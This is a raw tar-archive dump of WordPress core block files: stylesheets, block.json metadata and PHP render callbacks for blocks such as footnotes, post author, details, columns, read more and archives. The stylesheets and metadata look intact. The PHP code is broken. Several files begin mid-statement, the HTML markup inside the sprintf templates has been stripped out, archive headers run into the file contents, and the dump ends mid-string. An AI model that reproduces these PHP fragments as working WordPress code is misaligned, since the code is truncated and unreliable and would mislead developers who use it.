0ustar00.editor-styles-wrapper ul.wp-block-post-template{padding-left:0;margin-left:0;list-style:none}blocks/post-template/block.json000064400000001231147177035020012607 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/post-template", "title": "Post Template", "category": "theme", "parent": [ "core/query" ], "description": "Contains the block elements used to render a post, like the title, date, featured image, content or excerpt, and more.", "textdomain": "default", "usesContext": [ "queryId", "query", "queryContext", "displayLayout", "templateSlug" ], "supports": { "reusable": false, "html": false, "align": true, "__experimentalLayout": { "allowEditing": false } }, "style": "wp-block-post-template", "editorStyle": "wp-block-post-template-editor" } blocks/post-template/style-rtl.min.css000064400000002505147177035020014062 0ustar00.wp-block-post-template,.wp-block-query-loop{margin-top:0;margin-bottom:0;max-width:100%;list-style:none;padding:0}.wp-block-post-template.wp-block-post-template,.wp-block-query-loop.wp-block-post-template{background:none}.wp-block-post-template.is-flex-container,.wp-block-query-loop.is-flex-container{flex-direction:row;display:flex;flex-wrap:wrap;gap:1.25em}.wp-block-post-template.is-flex-container li,.wp-block-query-loop.is-flex-container li{margin:0;width:100%}@media (min-width:600px){.wp-block-post-template.is-flex-container.is-flex-container.columns-2>li,.wp-block-query-loop.is-flex-container.is-flex-container.columns-2>li{width:calc(50% - .625em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-3>li,.wp-block-query-loop.is-flex-container.is-flex-container.columns-3>li{width:calc(33.33333% - .83333em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-4>li,.wp-block-query-loop.is-flex-container.is-flex-container.columns-4>li{width:calc(25% - .9375em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-5>li,.wp-block-query-loop.is-flex-container.is-flex-container.columns-5>li{width:calc(20% - 1em)}.wp-block-post-template.is-flex-container.is-flex-container.columns-6>li,.wp-block-query-loop.is-flex-container.is-flex-container.columns-6>li{width:calc(16.66667% - 1.04167em)}}blocks/post-template/editor-rtl.min.css000064400000000140147177035020014201 0ustar00.editor-styles-wrapper ul.wp-block-post-template{padding-right:0;margin-right:0;list-style:none}blocks/post-template/style.css000064400000006010147177035020012474 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-post-template, .wp-block-query-loop { margin-top: 0; margin-bottom: 0; max-width: 100%; list-style: none; padding: 0; } .wp-block-post-template.wp-block-post-template, .wp-block-query-loop.wp-block-post-template { background: none; } .wp-block-post-template.is-flex-container, .wp-block-query-loop.is-flex-container { flex-direction: row; display: flex; flex-wrap: wrap; gap: 1.25em; } .wp-block-post-template.is-flex-container li, .wp-block-query-loop.is-flex-container li { margin: 0; width: 100%; } @media (min-width: 600px) { .wp-block-post-template.is-flex-container.is-flex-container.columns-2 > li, .wp-block-query-loop.is-flex-container.is-flex-container.columns-2 > li { width: calc((100% / 2) - 1.25em + (1.25em / 2)); } .wp-block-post-template.is-flex-container.is-flex-container.columns-3 > li, .wp-block-query-loop.is-flex-container.is-flex-container.columns-3 > li { width: calc((100% / 3) - 1.25em + (1.25em / 3)); } .wp-block-post-template.is-flex-container.is-flex-container.columns-4 > li, .wp-block-query-loop.is-flex-container.is-flex-container.columns-4 > li { width: calc((100% / 4) - 1.25em + (1.25em / 4)); } .wp-block-post-template.is-flex-container.is-flex-container.columns-5 > li, .wp-block-query-loop.is-flex-container.is-flex-container.columns-5 > li { width: calc((100% / 5) - 1.25em + (1.25em / 5)); } .wp-block-post-template.is-flex-container.is-flex-container.columns-6 > li, .wp-block-query-loop.is-flex-container.is-flex-container.columns-6 > li { width: calc((100% / 6) - 1.25em + (1.25em / 6)); } }blocks/footnotes.php000064400000007273147177035020010571 0ustar00context['postId'] ) ) { return ''; } if ( post_password_required( $block->context['postId'] ) ) { return; } $footnotes = get_post_meta( $block->context['postId'], 'footnotes', true ); if ( ! $footnotes ) { return; } $footnotes = json_decode( $footnotes, true ); if ( ! is_array( $footnotes ) || count( $footnotes ) === 0 ) { return ''; } $wrapper_attributes = get_block_wrapper_attributes(); $footnote_index = 1; $block_content = ''; foreach ( $footnotes as $footnote ) { // Translators: %d: Integer representing the number of return links on the page. $aria_label = sprintf( __( 'Jump to footnote reference %1$d' ), $footnote_index ); $block_content .= sprintf( '
  • %2$s ↩︎
  • ', $footnote['id'], $footnote['content'], $aria_label ); ++$footnote_index; } return sprintf( '
      %2$s
    ', $wrapper_attributes, $block_content ); } /** * Registers the `core/footnotes` block on the server. * * @since 6.3.0 */ function register_block_core_footnotes() { register_block_type_from_metadata( __DIR__ . '/footnotes', array( 'render_callback' => 'render_block_core_footnotes', ) ); } add_action( 'init', 'register_block_core_footnotes' ); /** * Registers the footnotes meta field required for footnotes to work. * * @since 6.5.0 */ function register_block_core_footnotes_post_meta() { $post_types = get_post_types( array( 'show_in_rest' => true ) ); foreach ( $post_types as $post_type ) { // Only register the meta field if the post type supports the editor, custom fields, and revisions. if ( post_type_supports( $post_type, 'editor' ) && post_type_supports( $post_type, 'custom-fields' ) && post_type_supports( $post_type, 'revisions' ) ) { register_post_meta( $post_type, 'footnotes', array( 'show_in_rest' => true, 'single' => true, 'type' => 'string', 'revisions_enabled' => true, ) ); } } } /* * Most post types are registered at priority 10, so use priority 20 here in * order to catch them. */ add_action( 'init', 'register_block_core_footnotes_post_meta', 20 ); /** * Adds the footnotes field to the revisions display. * * @since 6.3.0 * * @param array $fields The revision fields. * @return array The revision fields. */ function wp_add_footnotes_to_revision( $fields ) { $fields['footnotes'] = __( 'Footnotes' ); return $fields; } add_filter( '_wp_post_revision_fields', 'wp_add_footnotes_to_revision' ); /** * Gets the footnotes field from the revision for the revisions screen. * * @since 6.3.0 * * @param string $revision_field The field value, but $revision->$field * (footnotes) does not exist. * @param string $field The field name, in this case "footnotes". * @param object $revision The revision object to compare against. * @return string The field value. */ function wp_get_footnotes_from_revision( $revision_field, $field, $revision ) { return get_metadata( 'post', $revision->ID, $field, true ); } add_filter( '_wp_post_revision_field_footnotes', 'wp_get_footnotes_from_revision', 10, 3 ); blocks/post-author/editor-rtl.css000064400000000246147177035020013115 0ustar00.wp-block-post-author__inspector-settings .components-base-control,.wp-block-post-author__inspector-settings .components-base-control:last-child{ margin-bottom:0; }blocks/post-author/style.min.css000064400000000520147177035020012745 0ustar00.wp-block-post-author{display:flex;flex-wrap:wrap}.wp-block-post-author__byline{width:100%;margin-top:0;margin-bottom:0;font-size:.5em}.wp-block-post-author__avatar{margin-right:1em}.wp-block-post-author__bio{margin-bottom:.7em;font-size:.7em}.wp-block-post-author__content{flex-grow:1;flex-basis:0}.wp-block-post-author__name{margin:0}blocks/post-author/editor.css000064400000000246147177035020012316 0ustar00.wp-block-post-author__inspector-settings .components-base-control,.wp-block-post-author__inspector-settings .components-base-control:last-child{ margin-bottom:0; }blocks/post-author/style-rtl.css000064400000003527147177035020012774 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-post-author { display: flex; flex-wrap: wrap; } .wp-block-post-author__byline { width: 100%; margin-top: 0; margin-bottom: 0; font-size: 0.5em; } .wp-block-post-author__avatar { margin-left: 1em; } .wp-block-post-author__bio { margin-bottom: 0.7em; font-size: 0.7em; } .wp-block-post-author__content { flex-grow: 1; flex-basis: 0; } .wp-block-post-author__name { margin: 0; }blocks/post-author/editor.min.css000064400000000241147177035020013073 0ustar00.wp-block-post-author__inspector-settings .components-base-control,.wp-block-post-author__inspector-settings .components-base-control:last-child{margin-bottom:0}blocks/post-author/block.json000064400000002330147177035020012277 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/post-author", "title": "Post Author", "category": "theme", "description": "Display post author details such as name, avatar, and bio.", "textdomain": "default", "attributes": { "textAlign": { "type": "string" }, "avatarSize": { "type": "number", "default": 48 }, "showAvatar": { "type": "boolean", "default": true }, "showBio": { "type": "boolean" }, "byline": { "type": "string" } }, "usesContext": [ "postType", "postId", "queryId" ], "supports": { "html": false, "spacing": { "margin": true, "padding": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontStyle": true, "__experimentalFontWeight": true, "__experimentalLetterSpacing": true, "__experimentalTextTransform": true, "__experimentalDefaultControls": { "fontSize": true } }, "color": { "gradients": true, "link": true, "__experimentalDuotone": ".wp-block-post-author__avatar img", "__experimentalDefaultControls": { "background": true, "text": true } } }, "editorStyle": "wp-block-post-author-editor", "style": "wp-block-post-author" } blocks/post-author/style-rtl.min.css000064400000000517147177035020013552 0ustar00.wp-block-post-author{display:flex;flex-wrap:wrap}.wp-block-post-author__byline{width:100%;margin-top:0;margin-bottom:0;font-size:.5em}.wp-block-post-author__avatar{margin-left:1em}.wp-block-post-author__bio{margin-bottom:.7em;font-size:.7em}.wp-block-post-author__content{flex-grow:1;flex-basis:0}.wp-block-post-author__name{margin:0}blocks/post-author/editor-rtl.min.css000064400000000241147177035020013672 0ustar00.wp-block-post-author__inspector-settings .components-base-control,.wp-block-post-author__inspector-settings .components-base-control:last-child{margin-bottom:0}blocks/post-author/style.css000064400000003530147177035020012167 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-post-author { display: flex; flex-wrap: wrap; } .wp-block-post-author__byline { width: 100%; margin-top: 0; margin-bottom: 0; font-size: 0.5em; } .wp-block-post-author__avatar { margin-right: 1em; } .wp-block-post-author__bio { margin-bottom: 0.7em; font-size: 0.7em; } .wp-block-post-author__content { flex-grow: 1; flex-basis: 0; } .wp-block-post-author__name { margin: 0; }blocks/details/editor-rtl.css000064400000000062147177035020012251 0ustar00.wp-block-details summary div{ display:inline; }blocks/details/style.min.css000064400000000121147177035020012102 0ustar00.wp-block-details{box-sizing:border-box}.wp-block-details summary{cursor:pointer}blocks/details/editor.css000064400000000062147177035020011452 0ustar00.wp-block-details summary div{ display:inline; }blocks/details/style-rtl.css000064400000000135147177035020012124 0ustar00.wp-block-details{ box-sizing:border-box; } .wp-block-details summary{ cursor:pointer; }blocks/details/editor.min.css000064400000000055147177035020012236 0ustar00.wp-block-details summary div{display:inline}blocks/details/block.json000064400000002724147177035020011446 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/details", "title": "Details", "category": "text", "description": "Hide and show additional content.", "keywords": [ "accordion", "summary", "toggle", "disclosure" ], "textdomain": "default", "attributes": { "showContent": { "type": "boolean", "default": false }, "summary": { "type": "rich-text", "source": "rich-text", "selector": "summary" } }, "supports": { "__experimentalOnEnter": true, "align": [ "wide", "full" ], "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "__experimentalBorder": { "color": true, "width": true, "style": true }, "html": false, "spacing": { "margin": true, "padding": true, "blockGap": true, "__experimentalDefaultControls": { "margin": false, "padding": false } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "layout": { "allowEditing": false }, "interactivity": { "clientNavigation": true } }, "editorStyle": "wp-block-details-editor", "style": "wp-block-details" } blocks/details/style-rtl.min.css000064400000000121147177035020012701 0ustar00.wp-block-details{box-sizing:border-box}.wp-block-details summary{cursor:pointer}blocks/details/editor-rtl.min.css000064400000000055147177035020013035 0ustar00.wp-block-details summary div{display:inline}blocks/details/style.css000064400000000135147177035020011325 0ustar00.wp-block-details{ box-sizing:border-box; } .wp-block-details summary{ cursor:pointer; }blocks/site-title.php000064400000003273147177035020010630 0ustar00%2$s', implode( ' ', $link_attrs ), esc_html( $site_title ) ); } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $align_class_name ) ); return sprintf( '<%1$s %2$s>%3$s', $tag_name, $wrapper_attributes, // already pre-escaped if it is a link. $attributes['isLink'] ? $site_title : esc_html( $site_title ) ); } /** * Registers the `core/site-title` block on the server. */ function register_block_core_site_title() { register_block_type_from_metadata( __DIR__ . '/site-title', array( 'render_callback' => 'render_block_core_site_title', ) ); } add_action( 'init', 'register_block_core_site_title' ); blocks/query.php000064400000000460147177035020007705 0ustar00context['postId'] ) ) { return ''; } $post_ID = $block->context['postId']; $justify_class_name = empty( $attributes['justifyContent'] ) ? '' : "is-justified-{$attributes['justifyContent']}"; $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $justify_class_name ) ); $more_text = ! empty( $attributes['content'] ) ? wp_kses_post( $attributes['content'] ) : __( 'Read more' ); return sprintf( '%4s', $wrapper_attributes, get_the_permalink( $post_ID ), esc_attr( $attributes['linkTarget'] ), $more_text ); } /** * Registers the `core/read-more` block on the server. */ function register_block_core_read_more() { register_block_type_from_metadata( __DIR__ . '/read-more', array( 'render_callback' => 'render_block_core_read_more', ) ); } add_action( 'init', 'register_block_core_read_more' ); blocks/query-no-results.php000064400000003116147177035020012017 0ustar00context['queryId'] ) ? 'query-' . $block->context['queryId'] . '-page' : 'query-page'; $page = empty( $_GET[ $page_key ] ) ? 1 : (int) $_GET[ $page_key ]; // Override the custom query with the global query if needed. $use_global_query = ( isset( $block->context['query']['inherit'] ) && $block->context['query']['inherit'] ); if ( $use_global_query ) { global $wp_query; $query = $wp_query; } else { $query_args = build_query_vars_from_query_block( $block, $page ); $query = new WP_Query( $query_args ); } if ( $query->have_posts() ) { return ''; } if ( ! $use_global_query ) { wp_reset_postdata(); } return sprintf( '
    %2$s
    ', get_block_wrapper_attributes(), $content ); } /** * Registers the `core/query-no-results` block on the server. */ function register_block_core_query_no_results() { register_block_type_from_metadata( __DIR__ . '/query-no-results', array( 'render_callback' => 'render_block_core_query_no_results', ) ); } add_action( 'init', 'register_block_core_query_no_results' ); blocks/columns/editor-rtl.css000064400000003145147177035020012311 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-columns :where(.wp-block) { max-width: none; margin-right: 0; margin-left: 0; } html :where(.wp-block-column) { margin-top: 0; margin-bottom: 0; }blocks/columns/style.min.css000064400000002702147177035020012144 0ustar00.wp-block-columns{display:flex;margin-bottom:1.75em;box-sizing:border-box;flex-wrap:wrap!important;align-items:normal!important}@media (min-width:782px){.wp-block-columns{flex-wrap:nowrap!important}}.wp-block-columns.are-vertically-aligned-top{align-items:flex-start}.wp-block-columns.are-vertically-aligned-center{align-items:center}.wp-block-columns.are-vertically-aligned-bottom{align-items:flex-end}@media (max-width:781px){.wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column{flex-basis:100%!important}}@media (min-width:782px){.wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column{flex-basis:0;flex-grow:1}.wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column[style*=flex-basis]{flex-grow:0}}.wp-block-columns.is-not-stacked-on-mobile{flex-wrap:nowrap!important}.wp-block-columns.is-not-stacked-on-mobile>.wp-block-column{flex-basis:0;flex-grow:1}.wp-block-columns.is-not-stacked-on-mobile>.wp-block-column[style*=flex-basis]{flex-grow:0}:where(.wp-block-columns.has-background){padding:1.25em 2.375em}.wp-block-column{flex-grow:1;min-width:0;word-break:break-word;overflow-wrap:break-word}.wp-block-column.is-vertically-aligned-top{align-self:flex-start}.wp-block-column.is-vertically-aligned-center{align-self:center}.wp-block-column.is-vertically-aligned-bottom{align-self:flex-end}.wp-block-column.is-vertically-aligned-bottom,.wp-block-column.is-vertically-aligned-center,.wp-block-column.is-vertically-aligned-top{width:100%}blocks/columns/editor.css000064400000003145147177035020011512 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-columns :where(.wp-block) { max-width: none; margin-left: 0; margin-right: 0; } html :where(.wp-block-column) { margin-top: 0; margin-bottom: 0; }blocks/columns/style-rtl.css000064400000006265147177035020012171 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-columns { display: flex; margin-bottom: 1.75em; box-sizing: border-box; flex-wrap: wrap !important; align-items: initial !important; /** * All Columns Alignment */ } @media (min-width: 782px) { .wp-block-columns { flex-wrap: nowrap !important; } } .wp-block-columns.are-vertically-aligned-top { align-items: flex-start; } .wp-block-columns.are-vertically-aligned-center { align-items: center; } .wp-block-columns.are-vertically-aligned-bottom { align-items: flex-end; } @media (max-width: 781px) { .wp-block-columns:not(.is-not-stacked-on-mobile) > .wp-block-column { flex-basis: 100% !important; } } @media (min-width: 782px) { .wp-block-columns:not(.is-not-stacked-on-mobile) > .wp-block-column { flex-basis: 0; flex-grow: 1; } .wp-block-columns:not(.is-not-stacked-on-mobile) > .wp-block-column[style*=flex-basis] { flex-grow: 0; } } .wp-block-columns.is-not-stacked-on-mobile { flex-wrap: nowrap !important; } .wp-block-columns.is-not-stacked-on-mobile > .wp-block-column { flex-basis: 0; flex-grow: 1; } .wp-block-columns.is-not-stacked-on-mobile > .wp-block-column[style*=flex-basis] { flex-grow: 0; } :where(.wp-block-columns.has-background) { padding: 1.25em 2.375em; } .wp-block-column { flex-grow: 1; min-width: 0; word-break: break-word; overflow-wrap: break-word; /** * Individual Column Alignment */ } .wp-block-column.is-vertically-aligned-top { align-self: flex-start; } .wp-block-column.is-vertically-aligned-center { align-self: center; } .wp-block-column.is-vertically-aligned-bottom { align-self: flex-end; } .wp-block-column.is-vertically-aligned-top, .wp-block-column.is-vertically-aligned-center, .wp-block-column.is-vertically-aligned-bottom { width: 100%; }blocks/columns/editor.min.css000064400000000213147177035020012265 0ustar00.wp-block-columns :where(.wp-block){max-width:none;margin-left:0;margin-right:0}html :where(.wp-block-column){margin-top:0;margin-bottom:0}blocks/columns/block.json000064400000002426147177035020011500 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/columns", "title": "Columns", "category": "design", "description": "Display content in multiple columns, with blocks added to each column.", "textdomain": "default", "attributes": { "verticalAlignment": { "type": "string" }, "isStackedOnMobile": { "type": "boolean", "default": true } }, "supports": { "anchor": true, "align": [ "wide", "full" ], "html": false, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "spacing": { "blockGap": { "__experimentalDefault": "2em" }, "margin": [ "top", "bottom" ], "padding": true, "__experimentalDefaultControls": { "padding": true } }, "__experimentalLayout": { "allowSwitching": false, "allowInheriting": false, "allowEditing": false, "default": { "type": "flex", "flexWrap": "nowrap" } }, "__experimentalBorder": { "color": true, "radius": true, "style": true, "width": true, "__experimentalDefaultControls": { "color": true, "radius": true, "style": true, "width": true } } }, "editorStyle": "wp-block-columns-editor", "style": "wp-block-columns" } blocks/columns/style-rtl.min.css000064400000002702147177035020012743 0ustar00.wp-block-columns{display:flex;margin-bottom:1.75em;box-sizing:border-box;flex-wrap:wrap!important;align-items:normal!important}@media (min-width:782px){.wp-block-columns{flex-wrap:nowrap!important}}.wp-block-columns.are-vertically-aligned-top{align-items:flex-start}.wp-block-columns.are-vertically-aligned-center{align-items:center}.wp-block-columns.are-vertically-aligned-bottom{align-items:flex-end}@media (max-width:781px){.wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column{flex-basis:100%!important}}@media (min-width:782px){.wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column{flex-basis:0;flex-grow:1}.wp-block-columns:not(.is-not-stacked-on-mobile)>.wp-block-column[style*=flex-basis]{flex-grow:0}}.wp-block-columns.is-not-stacked-on-mobile{flex-wrap:nowrap!important}.wp-block-columns.is-not-stacked-on-mobile>.wp-block-column{flex-basis:0;flex-grow:1}.wp-block-columns.is-not-stacked-on-mobile>.wp-block-column[style*=flex-basis]{flex-grow:0}:where(.wp-block-columns.has-background){padding:1.25em 2.375em}.wp-block-column{flex-grow:1;min-width:0;word-break:break-word;overflow-wrap:break-word}.wp-block-column.is-vertically-aligned-top{align-self:flex-start}.wp-block-column.is-vertically-aligned-center{align-self:center}.wp-block-column.is-vertically-aligned-bottom{align-self:flex-end}.wp-block-column.is-vertically-aligned-bottom,.wp-block-column.is-vertically-aligned-center,.wp-block-column.is-vertically-aligned-top{width:100%}blocks/columns/editor-rtl.min.css000064400000000213147177035020013064 0ustar00.wp-block-columns :where(.wp-block){max-width:none;margin-right:0;margin-left:0}html :where(.wp-block-column){margin-top:0;margin-bottom:0}blocks/columns/style.css000064400000006265147177035020011372 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-columns { display: flex; margin-bottom: 1.75em; box-sizing: border-box; flex-wrap: wrap !important; align-items: initial !important; /** * All Columns Alignment */ } @media (min-width: 782px) { .wp-block-columns { flex-wrap: nowrap !important; } } .wp-block-columns.are-vertically-aligned-top { align-items: flex-start; } .wp-block-columns.are-vertically-aligned-center { align-items: center; } .wp-block-columns.are-vertically-aligned-bottom { align-items: flex-end; } @media (max-width: 781px) { .wp-block-columns:not(.is-not-stacked-on-mobile) > .wp-block-column { flex-basis: 100% !important; } } @media (min-width: 782px) { .wp-block-columns:not(.is-not-stacked-on-mobile) > .wp-block-column { flex-basis: 0; flex-grow: 1; } .wp-block-columns:not(.is-not-stacked-on-mobile) > .wp-block-column[style*=flex-basis] { flex-grow: 0; } } .wp-block-columns.is-not-stacked-on-mobile { flex-wrap: nowrap !important; } .wp-block-columns.is-not-stacked-on-mobile > .wp-block-column { flex-basis: 0; flex-grow: 1; } .wp-block-columns.is-not-stacked-on-mobile > .wp-block-column[style*=flex-basis] { flex-grow: 0; } :where(.wp-block-columns.has-background) { padding: 1.25em 2.375em; } .wp-block-column { flex-grow: 1; min-width: 0; word-break: break-word; overflow-wrap: break-word; /** * Individual Column Alignment */ } .wp-block-column.is-vertically-aligned-top { align-self: flex-start; } .wp-block-column.is-vertically-aligned-center { align-self: center; } .wp-block-column.is-vertically-aligned-bottom { align-self: flex-end; } .wp-block-column.is-vertically-aligned-top, .wp-block-column.is-vertically-aligned-center, .wp-block-column.is-vertically-aligned-bottom { width: 100%; }blocks/archives.php000064400000005543147177035020010353 0ustar00 $type, 'format' => 'option', 'show_post_count' => $show_post_count, ) ); $dropdown_args['echo'] = 0; $archives = wp_get_archives( $dropdown_args ); $classnames = esc_attr( $class ); $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $classnames ) ); switch ( $dropdown_args['type'] ) { case 'yearly': $label = __( 'Select Year' ); break; case 'monthly': $label = __( 'Select Month' ); break; case 'daily': $label = __( 'Select Day' ); break; case 'weekly': $label = __( 'Select Week' ); break; default: $label = __( 'Select Post' ); break; } $block_content = ' '; return sprintf( '
    %2$s
